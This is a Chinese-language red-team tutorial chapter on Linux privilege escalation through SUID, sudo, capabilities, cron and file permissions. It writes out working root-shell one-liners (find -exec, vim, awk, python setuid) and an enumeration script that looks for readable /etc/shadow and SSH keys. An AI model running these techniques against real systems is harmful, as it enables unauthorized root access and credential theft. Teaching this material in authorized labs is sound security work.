跳出常规 Linux 认知:Linux 权限机制红队攻防进阶
本章学习目标
-
掌握 Linux 系统的底层核心机制:进程管理、文件系统、SUID/SGID、Capabilities、权限模型的底层工作原理
-
从红队视角,挖掘 Linux 权限机制的可利用缺陷,理解本地提权的底层逻辑
-
复现 SUID 提权、sudo 提权两种最常用的 Linux 本地提权攻击,理解提权的实现过程
-
编写自动化的 Linux 权限检查脚本,帮助红队在拿到普通用户 Shell 后,快速发现可利用的提权点
-
梳理 Linux 权限机制的完整攻击面,为 Linux 本地提权、内网渗透打下基础
核心重点
-
红队视角:不再只关注 Linux 权限 "如何正常管理",重点挖掘权限机制中的可利用缺陷,从攻击视角拆解 Linux 的权限体系
-
底层逻辑:深入 SUID、Capabilities、sudo 这些权限机制的底层原理,理解为什么普通用户可以通过这些机制提权到 root
-
实操落地:所有原理搭配可复现的实操步骤,可直接在 Linux 靶场完成提权复现,同时提供可直接使用的自动化权限检查脚本
-
攻击面梳理:整理 Linux 权限机制的完整攻击面,梳理每个攻击的利用条件和实战场景,帮助红队快速梳理提权思路
前置知识
-
掌握 Linux 的基础命令,了解 Linux 的用户、组的基础概念
-
了解基础的 bash 脚本编写,能够看懂简单的 shell 脚本
-
了解前几章的红队渗透基础,了解本地提权的基础概念
4.1 Linux 系统底层核心机制与红队可利用点
重点:理解 Linux 权限机制的正常工作流程,同时挖掘每个机制的红队可利用点
Linux 的权限机制,是 Linux 系统安全的核心,同时,也是红队本地提权的核心攻击面,大部分的 Linux 本地提权,都是围绕着权限机制的缺陷展开的。我们首先来深入学习 Linux 的核心权限机制,同时,从红队的视角,挖掘每个机制的可利用点。
4.1.1 进程管理:红队的进程攻击面
Linux 的进程管理,是 Linux 系统的核心,正常的进程管理,是用来管理系统的进程的资源、权限的,但是,从红队的视角,进程管理,有很多可利用的点:
-
ptrace 机制:ptrace 是 Linux 的进程跟踪机制,正常的作用,是用来调试进程的,但是,红队可以利用 ptrace,注入到其他进程,读取进程的内存,获取进程的凭据,比如,进程的密码、Token,甚至,修改进程的代码,执行任意代码。
-
进程权限继承:Linux 的进程,会继承父进程的权限,比如,root 的进程,创建的子进程,默认也是 root 权限,红队可以利用这个,比如,通过 root 的进程,创建一个 root 的 shell,实现提权。
-
进程环境变量:进程的环境变量,是可以被用户控制的,红队可以利用环境变量,劫持进程的执行,比如,修改 PATH 环境变量,让 SUID 的进程,执行恶意的程序,实现提权。
-
定时任务进程:Linux 的定时任务 cron,是 root 运行的,红队如果可以修改定时任务的脚本,就可以让 root 执行恶意的代码,实现提权。
4.1.2 文件系统:红队的文件攻击面
Linux 的文件系统,是 Linux 系统的存储核心,正常的文件系统,是用来管理文件的权限的,但是,从红队的视角,文件系统,有很多可利用的点:
-
敏感文件权限:很多系统的敏感文件,比如,/etc/shadow,存储了用户的密码 Hash,.ssh 目录,存储了 SSH 的密钥,如果这些文件的权限不当,普通用户可以读取,红队就可以拿到用户的凭据,实现提权或者横向移动。
-
配置文件权限:很多系统的配置文件,比如,/etc/sudoers,定时任务的脚本,服务的启动脚本,如果这些文件的权限不当,普通用户可以修改,红队就可以修改配置,让 root 执行恶意的代码,实现提权。
-
挂载选项绕过:很多分区,会挂载 noexec、nosuid 的选项,禁止执行程序,禁止 SUID,但是,红队可以利用一些方法,绕过这些限制,比如,通过共享库,执行代码,或者,通过内核的漏洞,重新挂载分区。
-
Sticky 位缺陷:tmp 目录的 Sticky 位,是用来防止普通用户删除其他用户的文件的,但是,红队可以利用 tmp 目录的可写,创建恶意的文件,劫持其他进程的执行,比如,环境变量劫持,或者,符号链接攻击。
4.1.3 SUID/SGID:特殊权限的提权核心
SUID(Set User ID)和 SGID(Set Group ID),是 Linux 的特殊权限位,是 Linux 本地提权最常用的攻击面之一。
SUID/SGID 的底层原理
正常的 Linux 文件,执行的时候,会以执行用户的权限运行,但是,SUID 权限,是让文件执行的时候,以文件的所有者的权限运行,而不是执行用户的权限。比如,passwd 命令,是 root 的 SUID 文件,普通用户执行 passwd 的时候,会以 root 的权限运行,这样,普通用户就可以修改自己的密码,因为,修改 /etc/shadow 需要 root 权限。
同样的,SGID 权限,是让文件执行的时候,以文件的所属组的权限运行,而不是执行用户的组的权限。

红队可利用点
SUID 的核心缺陷,就是,如果一个 root 拥有的可执行文件,设置了 SUID 位,那么,普通用户执行这个文件的时候,就会以 root 的权限运行,如果这个文件,存在可以被利用的漏洞,普通用户就可以通过这个文件,执行任意的 root 命令,实现提权。
比如,find 命令,如果是 root 的 SUID 文件,那么,普通用户执行 find 的时候,就会以 root 的权限运行,而 find 支持 - exec 参数,可以执行任意的命令,这样,普通用户就可以通过 find,执行 /bin/sh,拿到 root 的 shell,实现提权。
同样的,很多其他的命令,比如,vim、nmap、more、less,都可以被利用,只要它们是 root 的 SUID 文件,就可以用来提权。
除此之外,红队还可以利用 SUID 文件的环境变量劫持,比如,SUID 的程序,调用了 system 函数,执行了其他的程序,比如,system ("ls"),那么,普通用户可以修改 PATH 环境变量,把当前目录放到 PATH 的前面,然后,创建一个恶意的 ls,这样,SUID 的程序,就会执行恶意的 ls,以 root 的权限运行,实现提权。

4.1.4 Capabilities:细粒度权限的可利用点
Capabilities,是 Linux 的细粒度权限机制,是为了解决 root 权限太过于大的问题,把 root 的所有权限,拆分成了很多小的权限,每个权限,单独授予进程,这样,进程就不需要完整的 root 权限,只需要需要的权限就可以了。
Capabilities 的底层原理
Capabilities,把 root 的权限,拆分成了比如:
-
CAP_SETUID:允许进程设置用户 ID,也就是,切换用户 -
CAP_NET_ADMIN:允许进程管理网络,比如,修改防火墙,配置网络接口 -
CAP_SYS_MODULE:允许进程加载内核模块 -
CAP_SYS_ADMIN:允许进程做系统管理的操作,相当于大部分的 root 权限
正常的情况下,这些 Capabilities,是授予进程的,进程只能拥有这些权限,不能拥有其他的 root 权限,这样,就可以限制进程的权限,提高系统的安全。

红队可利用点
Capabilities 的核心缺陷,就是,这些细粒度的权限,很多都可以被用来提权,比如,如果一个进程,拥有CAP_SETUID的权限,那么,这个进程,就可以调用 setuid (0),把自己的 uid 设置成 0,也就是 root,这样,就可以直接提权到 root。
比如,python 的二进制文件,如果拥有CAP_SETUID的权限,那么,普通用户执行 python 的时候,就可以执行os.setuid(0); os.system('/bin/sh'),这样,就可以拿到 root 的 shell,实现提权。
同样的,CAP_NET_ADMIN的权限,允许进程修改网络的规则,红队可以利用这个,修改防火墙的规则,开放端口,或者,拦截流量,甚至,加载内核模块,提权到 root。
还有,CAP_SYS_MODULE的权限,允许进程加载内核模块,红队可以利用这个,加载恶意的内核模块,直接拿到 root 的权限。
4.1.5 Linux 权限模型:DAC 与 MAC 的攻防
Linux 的权限模型,分为两种:DAC(自主访问控制)和 MAC(强制访问控制)。
-
DAC,就是我们平时说的用户、组、其他的权限,是文件的所有者,自己设置的权限,是自主的。
-
MAC,比如 SELinux、AppArmor,是系统强制的权限,不管文件的权限是什么,MAC 都会限制进程的操作,是强制的。
红队可利用点
DAC 的缺陷,就是,权限是自主的,很容易出现权限配置不当的情况,比如,管理员把敏感文件的权限,设置成了普通用户可读写,红队就可以利用这个,修改配置,提权。
而 MAC 的缺陷,就是,MAC 的策略,可能存在漏洞,或者,存在绕过的方法,比如,SELinux 的策略,允许某些进程,做某些操作,红队可以利用这些进程,绕过 SELinux 的限制,执行 root 的命令,实现提权。
4.2 Linux 权限机制实操:从提权复现到自动化检查
实操环境:Ubuntu 20.04/CentOS 7 靶机,普通用户权限 操作前提:仅在授权靶场环境测试,不要在未授权的系统运行
4.2.1 实操 1:复现 SUID 提权
首先,我们来复现最常用的 SUID 提权,步骤如下:
-
查找系统中的 SUID 文件 首先,我们用普通用户的身份,登录系统,然后,查找系统中的 SUID 文件,执行:
-
find / -perm -u=s -type f 2>/dev/null
-
这个命令,会查找所有的,设置了 SUID 位的二进制文件,我们可以找到,比如,find 命令,是 root 的 SUID 文件,权限是
rwsr-xr-x,属主是 root。
-
-
利用 SUID 的 find 命令提权 找到 find 的 SUID 文件后,我们就可以利用 find 的 - exec 参数,执行任意的命令,执行:
-
find / -exec /bin/sh \;
-
这个命令,会让 find,执行 /bin/sh,而 find 是 root 的 SUID 文件,所以,/bin/sh,就会以 root 的权限运行,我们就拿到了 root 的 shell。
-
-
验证提权效果 执行完命令后,我们可以执行:
-
id
-
我们可以看到,uid 已经变成了 0,也就是 root,提权成功了,我们现在,已经拥有了 root 的权限,可以访问系统的所有资源。
-
其他常见的 SUID 提权方法
除了 find,还有很多其他的 SUID 文件,都可以用来提权:
-
vim:如果 vim 是 SUID,执行
vim,然后输入:!/bin/sh,就可以拿到 root 的 shell -
nmap:旧版本的 nmap,有交互模式,执行
nmap --interactive,然后输入!sh,就可以拿到 root 的 shell -
more/less:如果 more 是 SUID,执行
more /etc/shadow,就可以读取 shadow 文件,拿到 root 的密码 Hash,然后破解。
4.2.2 实操 2:复现 sudo 提权
接下来,我们来复现 sudo 提权,sudo 是 Linux 最常用的权限管理工具,也是红队提权的常用攻击面。
-
查看当前用户的 sudo 权限 首先,我们用普通用户的身份,执行:
-
sudo -l
-
这个命令,会查看当前用户,被允许运行哪些 sudo 的命令,我们可以看到,比如,当前用户,被允许以 root 的身份,运行 vim 命令,而且,不需要密码(NOPASSWD)。
-
-
利用 sudo 的 vim 提权 然后,我们执行:
-
sudo vim
-
这个时候,vim 就会以 root 的权限运行,然后,我们在 vim 里,输入:
-
:!/bin/sh
-
然后,回车,我们就拿到了 root 的 shell,提权成功。
-
-
验证提权效果 同样的,我们执行
id,可以看到,uid 已经变成了 0,提权成功。
其他常见的 sudo 提权方法
除了 vim,还有很多其他的 sudo 命令,都可以用来提权:
-
find:如果 sudo 允许运行 find,执行
sudo find / -exec /bin/sh ;,就可以提权 -
awk:如果 sudo 允许运行 awk,执行
sudo awk 'BEGIN {system("/bin/sh")}',就可以提权 -
NOPASSWD 绕过:如果 sudo 的配置里,有 NOPASSWD,那么,普通用户不需要输入密码,就可以执行 root 的命令,非常容易被利用。
4.2.3 实操 3:编写 Linux 权限检查脚本
在实战中,红队拿到普通用户的 Shell 之后,需要快速的检查系统的权限,找到可利用的提权点,手动检查太麻烦了,所以,我们可以编写一个自动化的权限检查脚本,自动的检查所有的可利用点,步骤如下:
我们编写的脚本,会自动检查:
-
系统中的 SUID 文件
-
系统中的 SGID 文件
-
系统中的 Capabilities 权限
-
当前用户的 sudo 权限
-
敏感文件的权限,比如,/etc/shadow、.ssh 目录
-
定时任务的配置
-
系统的版本信息,用来查找内核提权漏洞
脚本的代码如下:
#!/bin/bash # Linux权限检查脚本,红队本地提权快速检查工具 echo "===================== Linux权限检查工具 =====================" echo "开始检查系统权限,寻找可利用的提权点..." echo "" # 1. 检查当前用户信息 echo "[+] 当前用户信息:" id echo "" # 2. 检查sudo权限 echo "[+] 检查sudo权限:" sudo -l 2>/dev/null || echo " 无法查看sudo权限,或者当前用户没有sudo权限" echo "" # 3. 查找SUID文件 echo "[+] 查找系统中的SUID文件:" find / -perm -u=s -type f 2>/dev/null | head -20 echo " ... 仅显示前20个,完整结果可自行执行 find / -perm -u=s -type f 2>/dev/null" echo "" # 4. 查找SGID文件 echo "[+] 查找系统中的SGID文件:" find / -perm -g=s -type f 2>/dev/null | head -20 echo " ... 仅显示前20个,完整结果可自行执行 find / -perm -g=s -type f 2>/dev/null" echo "" # 5. 查找Capabilities权限 echo "[+] 查找系统中的Capabilities权限:" getcap -r / 2>/dev/null echo "" # 6. 检查敏感文件权限 echo "[+] 检查敏感文件权限:" if [ -r /etc/shadow ]; then echo " [!] 可以读取/etc/shadow,可直接获取用户密码Hash!" else echo " [*] 无法读取/etc/shadow" fi if [ -r ~/.ssh/id_rsa ]; then echo " [!] 可以读取当前用户的SSH私钥!" else echo " [*] 无法读取当前用户的SSH私钥" fi echo "" # 7. 检查定时任务 echo "[+] 检查定时任务配置:" ls -la /etc/cron* 2>/dev/null echo "" # 8. 系统信息 echo "[+] 系统信息,用于内核提权检查:" cat /etc/os-release 2>/dev/null | head -5 uname -a echo "" echo "===================== 检查完成 =====================" echo "请根据以上结果,寻找可利用的提权点,比如SUID文件、sudo权限、Capabilities等"
这个脚本,我们可以在拿到普通用户的 Shell 之后,直接上传到目标系统,然后,执行chmod +x check.sh && ./check.sh,就可以自动的检查所有的可利用点,快速的找到提权的思路,大大提高红队的渗透效率。
4.3 Linux 权限机制的攻击面整理
我们把 Linux 权限机制的攻击面,整理成一个完整的表格,方便红队在实战中,快速梳理提权的攻击方式、利用条件和应用场景:
| 权限机制 | 攻击方式 | 利用条件 | 应用阶段 | 攻击效果 |
|---|---|---|---|---|
| SUID/SGID | SUID 提权 | root 的 SUID 文件存在可利用的漏洞 | 本地提权 | 普通用户提权到 root |
| SUID/SGID | 环境变量劫持 | SUID 文件调用了 system 函数,可修改 PATH | 本地提权 | 劫持 SUID 进程的执行,提权到 root |
| Capabilities | Capabilities 提权 | 进程拥有高权限的 Capabilities,比如 CAP_SETUID | 本地提权 | 普通用户提权到 root |
| sudo | sudo 提权 | sudo 允许运行的命令存在可利用的漏洞 | 本地提权 | 普通用户提权到 root |
| 文件权限 | 配置文件权限不当 | 普通用户可修改 root 的配置文件,比如 sudoers、cron 脚本 | 本地提权 | 修改配置,让 root 执行恶意代码 |
| 文件权限 | 敏感文件泄露 | 普通用户可读取敏感文件,比如 /etc/shadow、SSH 密钥 | 凭据窃取 / 提权 | 获取用户凭据,提权或者横向移动 |
| 进程管理 | ptrace 注入 | 普通用户可 ptrace root 进程 | 本地提权 | 注入 root 进程,执行任意代码 |
| 进程管理 | 定时任务滥用 | 普通用户可修改 cron 的脚本 | 本地提权 | 让 root 定时执行恶意代码 |
| 权限模型 | SELinux 绕过 | SELinux 策略存在可利用的缺陷 | 本地提权 | 绕过 MAC 的限制,执行 root 命令 |
本章小结
本章,我们从红队的视角,深入学习了 Linux 的权限机制,跳出了正常的权限管理的认知,重点挖掘了权限机制的可利用缺陷:
-
Linux 的核心权限机制,包括进程管理、文件系统、SUID/SGID、Capabilities、权限模型,每个机制,都存在红队可利用的缺陷,是本地提权的核心攻击面。
-
SUID 和 sudo,是最常用的本地提权的攻击面,普通用户可以利用有漏洞的 SUID 文件,或者 sudo 允许的命令,提权到 root,我们也复现了这两种提权的过程。
-
我们编写了自动化的 Linux 权限检查脚本,红队可以用这个脚本,在拿到普通用户的 Shell 之后,快速的检查系统的权限,找到可利用的提权点,提高渗透的效率。
-
我们整理了 Linux 权限机制的完整攻击面,梳理了每个攻击的利用条件和应用场景,为 Linux 本地提权、内网渗透打下了基础。
课后思考题
-
为什么 SUID 权限可以用来提权?它的底层原理是什么?是不是所有的 SUID 文件都可以用来提权?
-
Capabilities 的细粒度权限,为什么还会被用来提权?比如 CAP_SETUID,为什么可以直接提权到 root?
-
尝试复现环境变量劫持的 SUID 提权,看看能不能利用 PATH 劫持,提权到 root。
-
尝试扩展我们的权限检查脚本,添加内核漏洞的检查,比如,检查系统的版本,匹配已知的内核提权漏洞。
-
为什么 SELinux 这种强制访问控制,还是会被绕过?红队可以怎么绕过 SELinux 的限制?
拓展阅读
-
《Linux 内核设计与实现》 - Robert Love
-
《Linux 提权实战指南》 - 安全客
-
Linux Capabilities 官方文档:https://man7.org/linux/man-pages/man7/capabilities.7.html
-
Sudo 提权漏洞库:https://www.exploit-db.com/search?type=local&q=sudo
-
红队 Linux 提权 CheatSheet:https://gtfobins.github.io/
更多推荐




所有评论(0)